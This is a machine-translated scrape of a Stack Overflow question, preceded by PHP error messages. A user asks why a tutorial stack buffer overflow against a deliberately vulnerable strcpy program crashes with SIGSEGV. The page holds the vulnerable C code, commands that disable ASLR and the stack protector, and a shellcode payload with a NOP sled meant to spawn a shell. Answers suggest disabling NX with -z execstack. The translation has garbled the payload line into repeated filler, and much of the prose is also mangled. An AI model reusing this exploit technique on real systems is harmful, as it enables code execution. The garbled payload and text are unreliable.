Warning: file_get_contents(/data/phpspider/zhask/data//catemap/5/sql/75.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
C 缓冲区溢出应该可以工作,但会导致SIGSEGV错误_C_Stack_Buffer Overflow - Fatal编程技术网

C 缓冲区溢出应该可以工作,但会导致SIGSEGV错误

C 缓冲区溢出应该可以工作,但会导致SIGSEGV错误,c,stack,buffer-overflow,C,Stack,Buffer Overflow,我在看一个关于如何在linux上执行缓冲区溢出的教程。在我试着做最后一件事之前,一切都很顺利。我在谷歌上搜索了又搜索,但没有找到任何有用的东西 我的缓冲区溢出可利用的C代码(可利用的.C): #包括 int main(int argc,字符**argv) { char-buf[500]; strcpy(buf,argv[1]); 返回0; } 我是如何编译的: 我删除了va_空间的随机化(不确定它是做什么的,但我知道它允许缓冲区溢出):echo 0>/proc/sys/kernel/rando

我在看一个关于如何在linux上执行缓冲区溢出的教程。在我试着做最后一件事之前,一切都很顺利。我在谷歌上搜索了又搜索,但没有找到任何有用的东西

我的缓冲区溢出可利用的C代码(可利用的.C):

#包括
int main(int argc,字符**argv)
{
char-buf[500];
strcpy(buf,argv[1]);
返回0;
}
我是如何编译的:

  • 我删除了va_空间的随机化(不确定它是做什么的,但我知道它允许缓冲区溢出):
    echo 0>/proc/sys/kernel/randomize__空间
  • 我使用以下命令编译:
    gcc-fno stack protector-mprefered stack boundary=2-o可利用的可利用的可利用的.c
  • 我使用gdb运行了它,并发现这个命令应该给我一个
    /bin/bash
    shell:

    [代码>主要代码<<代码>主要代码>主要代码>主要可开采的美元(红红宝石-e“e”e“e”e“e”e“e”e“e”e“e”e”的主要代码>主要代码>主要可开采的美元(红宝石-e“e”e“e”e“e”e“e”e”e“e”e“e”e”e“e”e“e”的”e“e”e“e“e”的”e“e“e”的”的”打印”的”的”的”e“e”e“e“e”的”e“e“e“e”的”e”的”的”的”e“e“e“e“e“e”的”的”的”的”的”的”的”的”的”的”的“e“e“e“e“e“e“e”的”的”的”的”的”的”的”的”的”的”的”的”的”的xf0\x8a\xa2\x68“+“\x98\x24\x35\x8f\x08\x51\x4f\x50\xad\xa1\x60\x32\xc4\xcf”+“\x51\xd0\x77\x63\xc5\x14\x2f\xd0\x9c\xf4\x02\x56”+“\x90”*210+“\x44\xf1\xff\xbf””)

  • 然而,这不起作用

    在gdb中运行它时,我发现
    $eip
    被正确设置为
    0xbffff144
    (我第一轮NOP的中间部分)。出于某种原因,这给了我一个SIGSEGV错误:


    我不知道我是否做错了什么,或者是否还有一个故障保护必须关闭。

    可能是gcc选项(对于链接器)
    -z execstack
    禁用NX。

    您应该使堆栈可执行。这可能是您的问题的一部分


    另外,如果你想要一个关于缓冲区溢出的好参考,我建议你读一读

    Man I am Study…我怎么能忘记这一点!你知道没有NX,最好没有任何其他编译器的东西,有什么方法可以使这项工作正常进行,因为我不知道有多少人会像这样编译他们的C程序。
    #include <string.h>
    
    int main(int argc, char** argv)
    {
        char buf[500];
        strcpy(buf, argv[1]);
        return 0;
    }